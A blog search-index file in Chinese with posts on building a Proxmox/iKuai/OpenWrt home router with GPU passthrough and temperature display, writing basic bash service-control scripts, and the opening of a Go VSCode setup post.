<?xml version="1.0" encoding="utf-8"?>
<search>
  <entry>
    <title>家庭组网-软路由</title>
    <url>/archives/fb727318.html</url>
    <content><![CDATA[<p>最近在折腾家庭组网，买了一个软路由：N5105+16G+256 SSD。pve+ikuai+openwrt。由于有两条宽带（移动+电信），因此，使用ikuai进行分流，op进行科学。</p>
<p><img data-src="https://s2.loli.net/2023/04/17/BEC6IzjXfFMT3PV.png" alt="测速"></p>
<span id="more"></span>

<h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>之前在上个地方用的是电信+ESXI+iKuai+OpenWrt，由于电信给了公网IPV4，所以这套配置一直用的也很舒服。在现在这个地方已经装了移动的宽带，移动不给公网IPV4，通过使用ipv6的方式解决了公网访问，但是ipv6的情况ikuai没有防火墙配置，导致需要走op进行ipv6分配。那时候弄了半天，将ESXI改成PVE（其实是配置OpenWrt的防火墙时候，把策略都搞乱了。所以，重新搭建），成功使用ipv6（防火墙）。但存在不完美的地方，网卡需要经常重启，且openclash打开的情况，经常会出现访问国内网络不稳定（关了openclash也会出现）。因此，重新拉了一条电信宽带。</p>
<h1 id="系统安装"><a href="#系统安装" class="headerlink" title="系统安装"></a>系统安装</h1><h2 id="PVE"><a href="#PVE" class="headerlink" title="PVE"></a>PVE</h2><p>下载对应iso，使用BalenaEtcher烧录到U盘。从U盘启动进行安装即可。开启直通。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nano /etc/default/grub</span><br><span class="line">  GRUB_DEFAULT=0</span><br><span class="line">  GRUB_TIMEOUT=5</span><br><span class="line">  GRUB_DISTRIBUTOR=`lsb_release -i -s 2&gt; /dev/null || <span class="built_in">echo</span> Debian`</span><br><span class="line">  GRUB_CMDLINE_LINUX_DEFAULT=<span class="string">&quot;quiet intel_iommu=on&quot;</span></span><br><span class="line">  GRUB_CMDLINE_LINUX=<span class="string">&quot;&quot;</span></span><br><span class="line">update-grub</span><br><span class="line">nano /etc/modules</span><br><span class="line">	vfio</span><br><span class="line">  vfio_iommu_type1</span><br><span class="line">  vfio_pci</span><br><span class="line">  vfio_virqfd</span><br><span class="line">update-initramfs -u -k all.</span><br></pre></td></tr></table></figure>

<h2 id="iKuai"><a href="#iKuai" class="headerlink" title="iKuai"></a>iKuai</h2><p>创建虚拟机之后，加载iso之后配置对应LAN地址即可。需要添加PCIE设备，将所有网卡都添加进去。</p>
<p><img data-src="https://s2.loli.net/2023/04/11/OjT1NXzq9y2WrcD.png" alt="PCI"></p>
<h2 id="OenWrt"><a href="#OenWrt" class="headerlink" title="OenWrt"></a>OenWrt</h2><p>创建虚拟机之后，删除硬盘之后将对应img添加即可。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">qm importdisk 101 /var/lib/vz/template/iso/OpenWrt.img local-lvm</span><br></pre></td></tr></table></figure>

<h1 id="网络配置"><a href="#网络配置" class="headerlink" title="网络配置"></a>网络配置</h1><h2 id="iKuai-1"><a href="#iKuai-1" class="headerlink" title="iKuai"></a>iKuai</h2><p>直接划分两个WAN口，分别用作电信、移动拨号。</p>
<p><img data-src="https://s2.loli.net/2023/04/17/9FMO7dB1sjwgpDx.png" alt="ikuai"></p>
<h3 id="PPOE"><a href="#PPOE" class="headerlink" title="PPOE"></a>PPOE</h3><p>将对应密码填入即可，将电信选择为默认线路。</p>
<h3 id="DHCP"><a href="#DHCP" class="headerlink" title="DHCP"></a>DHCP</h3><p>将网关地址设置为OpenWrt的地址、首选DNS也配置为OpenWrt的地址。</p>
<h3 id="DNS"><a href="#DNS" class="headerlink" title="DNS"></a>DNS</h3><p>DNS也将首选DNS配置为OpenWrt地址即可。</p>
<h3 id="跨三层应用"><a href="#跨三层应用" class="headerlink" title="跨三层应用"></a>跨三层应用</h3><p>由于是旁路由模式，所以配置SNMP服务器IP为OpenWrt即可。</p>
<h3 id="DDNS"><a href="#DDNS" class="headerlink" title="DDNS"></a>DDNS</h3><p>由于电信给了公网IP，配置ddns便于外网访问。【高级应用】-【动态域名】里进行配置，由于使用的是dnspod.cn，在使用前需要申请对应TokenID、Token Key，并且需要现在对应的域名中先创建一条对应的A记录。</p>
<p><img data-src="https://s2.loli.net/2023/04/17/zvy7ZA5C8NFg6KB.png" alt="动态域名"></p>
<p>配置完之后，在【网络配置】-【端口映射】里配置对应规则即可。</p>
<h3 id="分流"><a href="#分流" class="headerlink" title="分流"></a>分流</h3><p>暂未配置。（没想清楚如何分流更加合适，之后再配置）</p>
<h2 id="OpenWrt"><a href="#OpenWrt" class="headerlink" title="OpenWrt"></a>OpenWrt</h2><p>OpenWrt作为网关，并进行科学上网。</p>
<h1 id="PVE-1"><a href="#PVE-1" class="headerlink" title="PVE"></a>PVE</h1><h2 id="显卡直通"><a href="#显卡直通" class="headerlink" title="显卡直通"></a>显卡直通</h2><p>升级pve版本至7.4-3之后，修改以下配置。</p>
<p>换源</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /dev/null &gt; /etc/apt/sources.list</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> &gt; /etc/apt/sources.list &lt;&lt;<span class="string">EOF</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free</span></span><br><span class="line"><span class="string">EOF</span></span><br></pre></td></tr></table></figure>

<p>升级pre</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">apt update &amp;&amp; apt install pve-kernel-5.19</span><br></pre></td></tr></table></figure>

<p>下载依赖</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /lib/firmware/i915 &amp;&amp; <span class="built_in">cd</span> /lib/firmware/i915</span><br><span class="line">curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/ehl_guc_70.1.1.bin</span><br><span class="line">curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/ehl_huc_9.0.0.bin</span><br><span class="line">curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/icl_dmc_ver1_09.bin</span><br><span class="line"></span><br><span class="line">apt install software-properties-common</span><br><span class="line"></span><br><span class="line">wget -qO – https://repositories.intel.com/graphics/intel-graphics.key |</span><br><span class="line">apt-key add –</span><br><span class="line">apt-add-repository <span class="string">&#x27;deb [arch=amd64] https://repositories.intel.com/graphics/ubuntu focal main&#x27;</span></span><br><span class="line"></span><br><span class="line">apt install intel-microcode -y</span><br><span class="line">apt install intel-opencl-icd intel-level-zero-gpu level-zero intel-media-va-driver-non-free libmfx1</span><br><span class="line"></span><br><span class="line"><span class="built_in">ls</span> -l /dev/dri</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>安装lxc，并修改对应lxc配置</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/pve/lxc/102.conf <span class="comment"># 根据lxc对应ID进行修改</span></span><br><span class="line">  lxc.cgroup2.devices.allow: c 226:0 rwm</span><br><span class="line">  lxc.cgroup2.devices.allow: c 226:128 rwm</span><br><span class="line">  lxc.mount.entry: /dev/dri/card0 dev/dri/card0 none <span class="built_in">bind</span>,optional,create=file</span><br><span class="line">  lxc.mount.entry: /dev/dri/renderD128 dev/dri/renderD128 none <span class="built_in">bind</span>,optional,create=file</span><br><span class="line">  lxc.apparmor.profile: unconfined</span><br><span class="line">  lxc.cap.drop:</span><br><span class="line"></span><br><span class="line">vim /etc/modprobe.d/i915.conf</span><br><span class="line">	options i915 enable_guc=3</span><br><span class="line">	</span><br><span class="line">vim /lib/systemd/system/rc-local.service</span><br><span class="line">  [Install]</span><br><span class="line">  WantedBy=multi-user.target</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">EOF &gt;/etc/rc.local</span></span><br><span class="line"><span class="string">#!/bin/sh -e</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string">#rc.local</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># This script is executed at the end of each multiuser runlevel.</span></span><br><span class="line"><span class="string"># Make sure that the script will &quot;exit 0&quot; on success or any other</span></span><br><span class="line"><span class="string"># value on error.</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># In order to enable or disable this script just change the execution</span></span><br><span class="line"><span class="string"># bits</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># By default this script does nothing.**</span></span><br><span class="line"><span class="string">chmod 777 /dev/dri/*</span></span><br><span class="line"><span class="string">exit 0</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">chmod</span> +x /etc/rc.local</span><br><span class="line">systemctl <span class="built_in">enable</span> rc-local.service</span><br><span class="line"></span><br><span class="line">reboot</span><br><span class="line"></span><br><span class="line">journalctl -b -o short-monotonic -k | egrep -i <span class="string">&quot;i915|dmr|dmc|guc|huc&quot;</span></span><br></pre></td></tr></table></figure>

<p>配置完之后，安装embyServer，并通过NFS挂载磁盘（lxc需开启特权，并且开放NFS功能）</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dpkg -i emby-server-deb_XXX_amd64.deb</span><br><span class="line"></span><br><span class="line">systemctl <span class="built_in">enable</span> emby-server</span><br><span class="line">systemctl start emby-server</span><br><span class="line"></span><br><span class="line">apt-get update &amp;&amp; apt install intel-gpu-tools &amp;&amp; sudo apt install nfs-common</span><br><span class="line">install_gpu_top</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">EOF &gt;/etc/rc.local</span></span><br><span class="line"><span class="string">#!/bin/sh -e</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string">#rc.local</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># This script is executed at the end of each multiuser runlevel.</span></span><br><span class="line"><span class="string"># Make sure that the script will &quot;exit 0&quot; on success or any other</span></span><br><span class="line"><span class="string"># value on error.</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># In order to enable or disable this script just change the execution</span></span><br><span class="line"><span class="string"># bits</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># By default this script does nothing.**</span></span><br><span class="line"><span class="string">mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">chmod</span> +x /etc/rc.local</span><br><span class="line">systemctl <span class="built_in">enable</span> rc-local.service</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h2 id="温度监控"><a href="#温度监控" class="headerlink" title="温度监控"></a>温度监控</h2><p>安装对应依赖</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get install lm-sensors</span><br><span class="line">apt-get install hddtemp</span><br><span class="line">apt-get install lm-sensors patch</span><br></pre></td></tr></table></figure>

<p>修改&#x2F;usr&#x2F;share&#x2F;perl5&#x2F;PVE&#x2F;API2&#x2F;Nodes.pm文件，在ksm后面加入对应内容。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="variable">$res</span>-&gt;&#123;ksm&#125; = &#123;</span><br><span class="line">    shared =&gt; <span class="variable">$meminfo</span>-&gt;&#123;memshared&#125;,</span><br><span class="line">       &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment"># $res-&gt;&#123;temperatures&#125; = `sensors`;</span></span><br><span class="line"><span class="variable">$res</span>-&gt;&#123;sensors_json&#125; = `sensors -j`; <span class="comment"># JSON格式输出传感器数据</span></span><br><span class="line"><span class="variable">$res</span>-&gt;&#123;smartctl_nvme_json&#125; = `smartctl -a -j /dev/nvme?`; <span class="comment"># 读取 nvme 硬盘 S.M.A.R.T. 值，获取硬盘寿命、容量、温度等</span></span><br><span class="line"><span class="variable">$res</span>-&gt;&#123;cpusensors&#125; = `lscpu | grep MHz`; <span class="comment"># 读取 CPU 频率</span></span><br><span class="line"><span class="comment"># $res-&gt;&#123;hddtemp&#125; = `hddtemp /dav/sd?`; # JSON格式输出传感器数据</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$res</span>-&gt;&#123;swap&#125; = &#123;</span><br><span class="line">    free =&gt; <span class="variable">$meminfo</span>-&gt;&#123;swapfree&#125;,</span><br><span class="line">    total =&gt; <span class="variable">$meminfo</span>-&gt;&#123;swaptotal&#125;,</span><br><span class="line">    used =&gt; <span class="variable">$meminfo</span>-&gt;&#123;swapused&#125;,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="variable">$res</span>-&gt;&#123;pveversion&#125; = PVE::pvecfg::package() . <span class="string">&quot;/&quot;</span> .</span><br><span class="line">    PVE::pvecfg::version_text();</span><br><span class="line"></span><br><span class="line">my <span class="variable">$dinfo</span> = <span class="built_in">df</span>(<span class="string">&#x27;/&#x27;</span>, 1);     <span class="comment"># output is bytes</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$res</span>-&gt;&#123;rootfs&#125; = &#123;</span><br><span class="line">    total =&gt; <span class="variable">$dinfo</span>-&gt;&#123;blocks&#125;,</span><br><span class="line">    avail =&gt; <span class="variable">$dinfo</span>-&gt;&#123;bavail&#125;,</span><br><span class="line">    used =&gt; <span class="variable">$dinfo</span>-&gt;&#123;used&#125;,</span><br><span class="line">    free =&gt; <span class="variable">$dinfo</span>-&gt;&#123;blocks&#125; - <span class="variable">$dinfo</span>-&gt;&#123;used&#125;,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="built_in">return</span> <span class="variable">$res</span>;</span><br><span class="line">   &#125;&#125;);</span><br></pre></td></tr></table></figure>

<p>修改&#x2F;usr&#x2F;share&#x2F;pve-manager&#x2F;js&#x2F;pvemanagerlib.js，在cpuinfo后面添加对应内容。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    itemId: <span class="string">&#x27;cpus&#x27;</span>,</span><br><span class="line">    colspan: 2,</span><br><span class="line">    printBar: <span class="literal">false</span>,</span><br><span class="line">    title: gettext(<span class="string">&#x27;CPU(s)&#x27;</span>),</span><br><span class="line">    textField: <span class="string">&#x27;cpuinfo&#x27;</span>,</span><br><span class="line">    renderer: Proxmox.Utils.render_cpu_model,</span><br><span class="line">    value: <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">    itemId: <span class="string">&#x27;sensinfo&#x27;</span>,</span><br><span class="line">    colspan: 2,</span><br><span class="line">    printBar: <span class="literal">false</span>,</span><br><span class="line">    title: gettext(<span class="string">&#x27;温度传感器&#x27;</span>),  // WEB显示内容</span><br><span class="line">    textField: <span class="string">&#x27;sensors_json&#x27;</span>,</span><br><span class="line">    renderer:<span class="keyword">function</span>(value)&#123;</span><br><span class="line">        value = JSON.parse(value.replaceAll(<span class="string">&#x27;Â&#x27;</span>, <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">        const c9 = value[<span class="string">&#x27;coretemp-isa-0000&#x27;</span>][<span class="string">&#x27;Package id 0&#x27;</span>][<span class="string">&#x27;temp1_input&#x27;</span>].toFixed(1);</span><br><span class="line">        const c0 = value[<span class="string">&#x27;coretemp-isa-0000&#x27;</span>][<span class="string">&#x27;Core 0&#x27;</span>][<span class="string">&#x27;temp2_input&#x27;</span>].toFixed(1);</span><br><span class="line">        const c1 = value[<span class="string">&#x27;coretemp-isa-0000&#x27;</span>][<span class="string">&#x27;Core 1&#x27;</span>][<span class="string">&#x27;temp3_input&#x27;</span>].toFixed(1);</span><br><span class="line">        const c2 = value[<span class="string">&#x27;coretemp-isa-0000&#x27;</span>][<span class="string">&#x27;Core 2&#x27;</span>][<span class="string">&#x27;temp4_input&#x27;</span>].toFixed(1);</span><br><span class="line">        const c3 = value[<span class="string">&#x27;coretemp-isa-0000&#x27;</span>][<span class="string">&#x27;Core 3&#x27;</span>][<span class="string">&#x27;temp5_input&#x27;</span>].toFixed(1);</span><br><span class="line">        // const f1 = value[<span class="string">&#x27;it8786-isa-0a40&#x27;</span>][<span class="string">&#x27;fan1&#x27;</span>][<span class="string">&#x27;fan1_input&#x27;</span>].toFixed(1);</span><br><span class="line">        const n1 = value[<span class="string">&#x27;nvme-pci-0100&#x27;</span>][<span class="string">&#x27;Composite&#x27;</span>][<span class="string">&#x27;temp1_input&#x27;</span>].toFixed(1);</span><br><span class="line">        const a0 = value[<span class="string">&#x27;acpitz-acpi-0&#x27;</span>][<span class="string">&#x27;temp1&#x27;</span>][<span class="string">&#x27;temp1_input&#x27;</span>].toFixed(1);</span><br><span class="line">        <span class="built_in">return</span> `主板温度: <span class="variable">$&#123;a0&#125;</span>°C || CPU温度: <span class="variable">$&#123;c9&#125;</span>°C || NVME温度: <span class="variable">$&#123;n1&#125;</span>°C &lt;br&gt; CPU核心温度: <span class="variable">$&#123;c0&#125;</span>°C || <span class="variable">$&#123;c1&#125;</span>°C || <span class="variable">$&#123;c2&#125;</span>°C || <span class="variable">$&#123;c3&#125;</span>°C&lt;br&gt;`;  // 输出格式</span><br><span class="line">    &#125;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;	</span><br><span class="line">    itemId: <span class="string">&#x27;nvme_ssd&#x27;</span>,</span><br><span class="line">    colspan: 2,</span><br><span class="line">    printBar: <span class="literal">false</span>,</span><br><span class="line">    title: gettext(<span class="string">&#x27;NVME&#x27;</span>),</span><br><span class="line">    textField: <span class="string">&#x27;smartctl_nvme_json&#x27;</span>,</span><br><span class="line">    renderer: <span class="keyword">function</span>(value) &#123;</span><br><span class="line">        value = JSON.parse(value);</span><br><span class="line">        <span class="keyword">if</span> (value[<span class="string">&#x27;model_name&#x27;</span>]) &#123;</span><br><span class="line">            try &#123;var model_name = value[<span class="string">&#x27;model_name&#x27;</span>];&#125; catch(e) &#123;var model_name = <span class="string">&#x27;&#x27;</span>;&#125; </span><br><span class="line">            try &#123;var percentage_used = <span class="string">&#x27; | 使用寿命: &#x27;</span> + value[<span class="string">&#x27;nvme_smart_health_information_log&#x27;</span>][<span class="string">&#x27;percentage_used&#x27;</span>].toFixed(0) + <span class="string">&#x27;% &#x27;</span>;&#125; catch(e) &#123;var percentage_used = <span class="string">&#x27;&#x27;</span>;&#125; </span><br><span class="line">            try &#123;var data_units_read = value[<span class="string">&#x27;nvme_smart_health_information_log&#x27;</span>][<span class="string">&#x27;data_units_read&#x27;</span>]*512/1024/1024/1024;var data_units_read = <span class="string">&#x27;(读: &#x27;</span> + data_units_read.toFixed(2) + <span class="string">&#x27;TB, &#x27;</span>;&#125; catch(e) &#123;var data_units_read = <span class="string">&#x27;&#x27;</span>;&#125; </span><br><span class="line">            try &#123;var data_units_written = value[<span class="string">&#x27;nvme_smart_health_information_log&#x27;</span>][<span class="string">&#x27;data_units_written&#x27;</span>]*512/1024/1024/1024;var data_units_written = <span class="string">&#x27;写: &#x27;</span> + data_units_written.toFixed(2) + <span class="string">&#x27;TB)&#x27;</span>;&#125; catch(e) &#123;var data_units_written = <span class="string">&#x27;&#x27;</span>;&#125; </span><br><span class="line">            try &#123;var power_on_time = <span class="string">&#x27; | 通电: &#x27;</span> + value[<span class="string">&#x27;power_on_time&#x27;</span>][<span class="string">&#x27;hours&#x27;</span>].toFixed(0) + <span class="string">&#x27;小时&#x27;</span>;&#125; catch(e) &#123;var power_on_time = <span class="string">&#x27;&#x27;</span>;&#125; </span><br><span class="line">            try &#123;var temperature = <span class="string">&#x27; | 温度: &#x27;</span> + value[<span class="string">&#x27;temperature&#x27;</span>][<span class="string">&#x27;current&#x27;</span>].toFixed(1) + <span class="string">&#x27;°C&#x27;</span>;&#125; catch(e) &#123;var temperature = <span class="string">&#x27;&#x27;</span>;&#125; </span><br><span class="line">            <span class="built_in">return</span> `<span class="variable">$&#123;model_name&#125;</span><span class="variable">$&#123;percentage_used&#125;</span><span class="variable">$&#123;data_units_read&#125;</span><span class="variable">$&#123;data_units_written&#125;</span><span class="variable">$&#123;power_on_time&#125;</span><span class="variable">$&#123;temperature&#125;</span>`;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">            <span class="built_in">return</span> `提示: 未安装硬盘或已直通硬盘控制器`;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">    itemId: <span class="string">&#x27;MHz&#x27;</span>,</span><br><span class="line">    colspan: 2,</span><br><span class="line">    printBar: <span class="literal">false</span>,</span><br><span class="line">    title: gettext(<span class="string">&#x27;CPU频率&#x27;</span>),</span><br><span class="line">    textField: <span class="string">&#x27;cpusensors&#x27;</span>,</span><br><span class="line">    renderer:<span class="keyword">function</span>(value)&#123;</span><br><span class="line">        var f0 = value.match(/CPU MHz.*?([\d]+)/)[1];</span><br><span class="line">        var f1 = value.match(/CPU min MHz.*?([\d]+)/)[1];</span><br><span class="line">        var f2 = value.match(/CPU max MHz.*?([\d]+)/)[1];</span><br><span class="line">        <span class="built_in">return</span> `实时: <span class="variable">$&#123;f0&#125;</span> MHz || 最小: <span class="variable">$&#123;f1&#125;</span> MHz | 最大: <span class="variable">$&#123;f2&#125;</span> MHz `</span><br><span class="line">    &#125;</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>

<p>然后重启pve服务即可。<code>systemctl restart pveproxy</code></p>
<p><img data-src="https://s2.loli.net/2023/04/17/u3B2VasAhvGbKjS.png" alt="pveStatus"></p>
]]></content>
      <categories>
        <category>瞎折腾</category>
      </categories>
  </entry>
  <entry>
    <title>Linux-Bash(一)</title>
    <url>/archives/33a6bcb.html</url>
    <content><![CDATA[<p><strong>我回来了</strong>，这次接触的是Linux下的shell脚本。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近常常在Linux下启动一堆服务，每次重启电脑就得敲一堆命令，让我这个懒癌患者深受困扰！！基于不想把它们加入开机自启的前提，就开始动手写个Bash脚本将它们一键全部启动。</p>
<h1 id="Bash"><a href="#Bash" class="headerlink" title="Bash"></a>Bash</h1><h2 id="解释器"><a href="#解释器" class="headerlink" title="解释器"></a>解释器</h2><p>shell脚本首行需要有一个固定的格式，其意义表明使用对应解释器解析该脚本，常常有&#x2F;bin&#x2F;bash，&#x2F;bin&#x2F;sh等，这里我用的是bash:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br></pre></td></tr></table></figure>
<h2 id="常用语法"><a href="#常用语法" class="headerlink" title="常用语法"></a>常用语法</h2><p>变量声明：<code>name=</code><br>变量调用：<code>$name</code><br>命令行参数获取：</p>
<figure class="highlight autoit"><table><tr><td class="code"><pre><span class="line">$0     <span class="meta"># 命令行第一个变量 往往为脚本名称</span></span><br><span class="line">$1     <span class="meta"># 命令行第二个变量</span></span><br><span class="line">$2     <span class="meta"># 命令行第三个变量</span></span><br><span class="line">$3     <span class="meta"># 命令行第四个变量</span></span><br><span class="line">$init  <span class="meta"># 命令行第init变量</span></span><br></pre></td></tr></table></figure>
<p>多分支判断：</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">case</span> str <span class="keyword">in</span></span><br><span class="line">  mode)</span><br><span class="line">    <span class="built_in">command</span></span><br><span class="line">    ;;</span><br><span class="line">  mode)</span><br><span class="line">    <span class="built_in">command</span></span><br><span class="line">    ;;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<h2 id="编写思路"><a href="#编写思路" class="headerlink" title="编写思路"></a>编写思路</h2><p>首先定义各个服务的工作目录设置成对应变量，使用分支判断调用不同功能：启动服务、杀死服务进程、修改服务配置等。</p>
<h1 id="脚本编写"><a href="#脚本编写" class="headerlink" title="脚本编写"></a>脚本编写</h1><p>根据编写思路，需要使用到的命令大致分为：启动、杀进程（kill）、修改（seq）等。</p>
<h2 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h2><p>在不同的环境变量下，启动服务的命令不同。在这里我拿启动python为例。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">python=/usr/bin/python</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line">  start)</span><br><span class="line">    <span class="variable">$python</span></span><br><span class="line">    ;;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/07/5a51c7bcb2ac3.png" alt="shell-python.png"><br>使用.&#x2F;shell.sh start来启动python<br><img data-src="https://i.loli.net/2018/01/07/5a51c7fa606cb.png" alt="shell-start.png"></p>
<h2 id="杀进程"><a href="#杀进程" class="headerlink" title="杀进程"></a>杀进程</h2><p>Linux下使用kill命令即可杀进程，在这里我拿杀死启动的python为例。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">python=/usr/bin/python</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line">  <span class="built_in">kill</span>)</span><br><span class="line">    pid_python=`ps -ef|grep <span class="variable">$python</span>|grep -v <span class="string">&quot;<span class="variable">$0</span>&quot;</span>|grep -v <span class="string">&quot;grep&quot;</span>|awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span>`</span><br><span class="line">    <span class="built_in">kill</span> -9 <span class="variable">$pid_python</span></span><br><span class="line">    ;;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/07/5a51ca441729b.png" alt="shell-python2.png"><br>使用.&#x2F;shell.sh kill来杀死python<br><img data-src="https://i.loli.net/2018/01/07/5a51ca9ba4a52.png" alt="shell-kill.png"></p>
<h2 id="修改"><a href="#修改" class="headerlink" title="修改"></a>修改</h2><p>需要对服务配置文件进行修改的时候，使用Linux的seq命令可以完成。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">config=/opt/config.cnf</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line">  config)</span><br><span class="line">    sed -i <span class="string">&#x27;s/port=.*/port=80/g&#x27;</span> <span class="variable">$config</span></span><br><span class="line">    ;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/07/5a51cc9692dd2.png" alt="shell-change.png"><br>使用.&#x2F;shell.sh config来修改config.cnf文件<br><img data-src="https://i.loli.net/2018/01/07/5a51cc6df312d.png" alt="shell-config.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在编写bash脚本的时候，大部分问题都是由格式、编码等引起。</p>
<ol>
<li>在Windows下编写，在Linux下使用，大概率会由换行符导致脚本无法运行：Windows下换行符为CRLF（正则表达式的\r\n，ASCII码的13和10），Unix（or Linux）下换行符为LF（正则表达式的\n）。这个问题会导致在Linux下运行\r\n为无效参数、vi等编辑器打开会出现^M、脚本头部出现乱码字符等;</li>
<li>Linux Shell脚本单引号、双引号在使用时，具有不同效果：单引号为所见即所得、双引号为解析之后所得;</li>
<li>seq命令在替换特殊字符时可以用\来转义（正则转义）。</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><p>由于这个脚本涉及到一些机密的东西，完整代码不能上传到GitHub。望理解！</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Bash</category>
      </categories>
      <tags>
        <tag>Code</tag>
        <tag>Bash</tag>
      </tags>
  </entry>
  <entry>
    <title>Go-VSCode环境搭建</title>
    <url>/archives/c70ca2a9.html</url>
    <content><![CDATA[<p>最近项目上用到了Go，因此对VSCode进行Go环境搭建。效果图如下：<br><img data-src="https://i.loli.net/2018/05/20/5b00d3916250e.png" alt="GO debug.png"></p>
<span id="more"></span>
